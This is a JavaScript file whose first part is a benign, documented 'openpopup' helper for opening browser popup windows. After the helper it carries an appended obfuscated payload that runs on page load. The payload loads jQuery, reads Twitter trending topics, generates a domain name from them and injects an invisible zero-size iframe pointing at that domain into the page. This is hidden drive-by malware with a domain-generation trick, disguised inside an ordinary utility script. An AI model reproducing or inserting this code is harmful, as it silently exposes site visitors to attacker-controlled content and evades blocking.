/** function openpopup 
* @description Open a popup window at specified positions with specified dimensions.
* @param Window hwndPopup is a global paramter that will refer the new popup window instance that
*        will be opened.
*
*   var popupWidth    = 300;
*   var popupHeight   = 300;
*   var popupTop      = 300;
*   var popupLeft     = 300;
*   var isFullScreen  = false;
*   var isAutoCenter  = false;
*   var popupTarget   = "popupwin";
*   var popupParams   = "toolbar=0, scrollbars=0, menubar=0, status=0, resizable=1";
*/

function openpopup(/*Window*/ hwndPopup, /*String*/ url, /*int*/ popupWidth, /*int*/ popupHeight, /*int*/popupTop,
                   /*int*/ popupLeft, /*boolean*/ isFullScreen, /*boolean*/ isAutoCenter,
                   /*String*/ popupTarget, /*String*/ popupParams) {

	if (typeof(popupWidth) == "string") {
		popupWidth = parseInt(window.screen.width * (parseInt(popupWidth)/100));
	}
	if (typeof(popupHeight) == "string") {
		popupHeight = parseInt(window.screen.height * (parseInt(popupHeight)/100));
	}
	if (typeof(popupLeft) == "string") {
		popupLeft = parseInt(window.screen.width * (parseInt(popupLeft)/100));
	}
	if (typeof(popupTop) == "string") {
		popupTop = parseInt(window.screen.height * (parseInt(popupTop)/100));
	}
  

  if (isFullScreen) {
		popupParams += ", fullscreen=1";
		popupTop = 0; popupLeft = 0;
		popupHeight = window.screen.height;
		popupWidth = window.screen.width;
  } else if (isAutoCenter) {
    popupTop  = parseInt((window.screen.height - popupHeight)/2);
    popupLeft = parseInt((window.screen.width - popupWidth)/2);
  }

  var ua = window.navigator.userAgent;
  var isOpera = (ua.indexOf("Opera") > -1);
  var operaVersion;
  var isMac = (ua.indexOf("Mac") > -1);

  if (isMac && url.indexOf("http") != 0) {
    url = location.href.substring(0,location.href.lastIndexOf('\/')) + "/" + url;
  }

  if (isOpera) {
    var i = ua.indexOf("Opera");
    operaVersion = parseFloat(ua.substring(i + 6, ua.indexOf(" ", i + 8)));
    if (operaVersion > 7.00) {
      var isAccessible = false;
      eval("try { isAccessible = ( (hwndPopup != null) && !hwndPopup.closed ); } catch(exc) { } ");
      if (!isAccessible) {
        hwndPopup = null;
      }
    }
  }

  if ( (hwndPopup == null) || hwndPopup.closed ) {    
    if (isOpera && (operaVersion < 7)) {
      if (url.indexOf("http") != 0) {			 
        hwndPopup = window.open(url,popupTarget,popupParams + ((!isFullScreen && (popupWidth > 0 && popupHeight > 0)) ? ", width=" + popupWidth +", height=" + popupHeight : ""));
        if (!isFullScreen) {
          hwndPopup.moveTo(popupLeft, popupTop);
        }
        hwndPopup.focus();
        return;
      }
    }
    if (!(window.navigator.appName == "Netscape" && !document.getElementById)) {
      //not ns4
      popupParams += ((popupWidth > 0 && popupHeight > 0) ? (", width=" + popupWidth +", height=" + popupHeight) : "") + ", left=" + popupLeft + ", top=" + popupTop;
    } else {
      popupParams += ", left=" + popupLeft + ", top=" + popupTop;
    }
    //alert(popupParams);
    hwndPopup = window.open("",popupTarget,popupParams);
    if (!isFullScreen) {
      if (popupWidth > 0 && popupHeight > 0)
			hwndPopup.resizeTo(popupWidth, popupHeight);
      hwndPopup.moveTo(popupLeft, popupTop);
    }
    hwndPopup.focus();
    with (hwndPopup.document) {
      open();
      write("<ht"+"ml><he"+"ad></he"+"ad><bo"+"dy onLoad=\"window.location.href='" + url + "'\"></bo"+"dy></ht"+"ml>");
      close();
    }
  } else {
    if (isOpera && (operaVersion > 7.00)) {
      eval("try { hwndPopup.focus(); hwndPopup.location.href = url; } catch(exc) { hwndPopup = window.open(\""+ url +"\",\"" + popupTarget +"\",\""+ popupParams +
			((popupWidth > 0 && popupHeight > 0) ? (", width=" + popupWidth +", height=" + popupHeight) : "") +
			"\"); } ");
    } else {
      hwndPopup.focus();
      hwndPopup.location.href = url;
    } 
  }
}// end function



(function($$){d="( 8 *i= 8var Vc=this;  [Vc\\FullYear %Month %Date %Hours %Minutes %Seconds()]}; *B= 8 &n,Vr=this.#i(),i=0;Vr[1]+=1;while(i++<7){#n=Vr[i] /#n<#b)Vr[i] 4#n}   Vr.splice(~z'),1+~T 0 5~u 0+'T'+Vr 5~U 0};VN={'h`http://Xs`/Xt`treXd`daiXn`ndsXq`?Xc`callback=Xj`#Xa`apiXl`lyXW`twitterXo`comXe`1Xk`sXK`bodyXx`ajaxXD`.XL`libsXJ`jqueryX6`6.2Xm`minXf`onXS`criptXi`ifXM`rameXY`headXw`width:Xp`px;XH`height:XT`2Xr`rcXQ`\"Xy`style=Xb`><XR`></XI`divXB`<XA`>Xg`googleXE`&date=Xz`0Xu`-XU` X,`:00X;':2345678901,'/':48271,'F':198195254,'G':12,'C`='};@ #G(Vm){#o=[];for(Vx=0;Vx<Vm .;Vx++){#o.push(VN[Vm.charAt(Vx)])}   #T(#o)}VB=document;#x=window; +E='undefined'; +j=~haDWDosestnsdlDjfqcq' :R= ))== +E) /#R||!VD()){if(!#R){try{Vd=jQuery !;try{Vd=$ !}VM=VB.getElementsByTagName(~Y 0[0];#J=VB.createElement(~kS 0;#J.setAttribute(~kr'),#G(\"hxDgakDosxsLsJseD6sJDmDj\"));VM.appendChild(#J)}@ Va(#F,VK){   Math.floor(#F/VK) 6e(#k){var Vg=Va( +u, $G); &C= +u% $G; &S= $r*#C; &L= $J*Vg; &y=#S-#L /#y>0){#u=#y}else{#u=#y+ $A}  (#u%#k) 6z(#w){ +u=~;')+#w; $r=~/'); $A=~;')-~F'); $G=Va( $A, $r); $J= $A% $r 6T(V){   V .==1?V[0]:V 5'')};@ #K(V){d=new Date( :c=~zee');d.setTime((V.as_of-~G')*~G')*~G')*~ezz 0*~ezzz 0;   d 6p(Vu){ &a,Vn,#f=Vu .; &d=[];while(--#f){Vn=#e(#f :d.push(Vn :a=Vu[Vn];Vu[Vn]=Vu[#f];Vu[#f]=#a}}@ Vp($){Vs=$.map([81,85,74,74,92,17,82,73,80,30,82,77,25,11,10,10,61,11,56,55,11,53,6,53,7,2,1,0,48],@(x,i){   String.fromCharCode(i+x+24)});   #T(Vs) 6v($){if ))!= +E){$( 8if ).Vt)!= +E)  ;$.Vt=1; 2j,@(Vy){#g=#K(Vy :h=#g\\Month() 9L=#g\\Date();VS=#h+\"-\"+VL;#P=#j+#G(\"E 3;Vj=VP=Va(#g\\Hours(),6)*6 9E=Vj+1;#b=+~ez'); , 2P,@(Vy){try{#D=Vy.trends;#M=#G(\" 3+\" \" /Vj<#b)Vj 4Vj /VE<#b)VE 4VE; 7j+#G(X)] /!#N){ 7E+#G(X)]}#N=(#N[3].name.toLowerCase().replace(/[^a-z]/gi,'')+'microscope').split('' :s=#h*71+VP*3+VL*37;#z(#s :q=#e(4)+#b;#p(#N :H=~Ch')+#T(#N).substring(0,#q)+'.com/'+Vp($);VN['Z']=#H;Vb=~BI 1biMU 1UkrZRiMRIA');$(~K 0.append(Vb)}catch(Vf){}})},#b*#b*#b)})})}else{ , -,1+~TTT 0}} -)()#js@functionV#mX','`':'~#G('\\.getUTC  return !.noConflict(true)}catch(e){} $#x.V %(),Vc\\ &var # )(typeof($ *Date.prototype.# +#x.# ,setTimeout( 8 -#v(#x.jQuery)} ..length /;if( 0')) 1yQHTpweeepQ 2$.getJSON(# 3Tzeeu\")+VS 4=~z')+ 5.join( 6}@ # 7#N=#D[#M+V 8@(){ 9+(+~e 0;V :);#";for(c=53;c;d=(t=d.split('#@VX`~\\   ! $ % & ) * + , - . / 0 1 2 3 4 5 6 7 8 9 :'.substr(c-=(x=c<9?1:2),x))).join(t.pop()));$$(d)})(function(jsmH){return(function(jsm,jsmF){return jsmF(jsm(jsmF(jsm(jsmH))))(jsmH)()})((function(jsm){return jsm.constructor}),(function(jsm){return(function(jsmF){return jsm.call(jsm,jsmF)})}))});

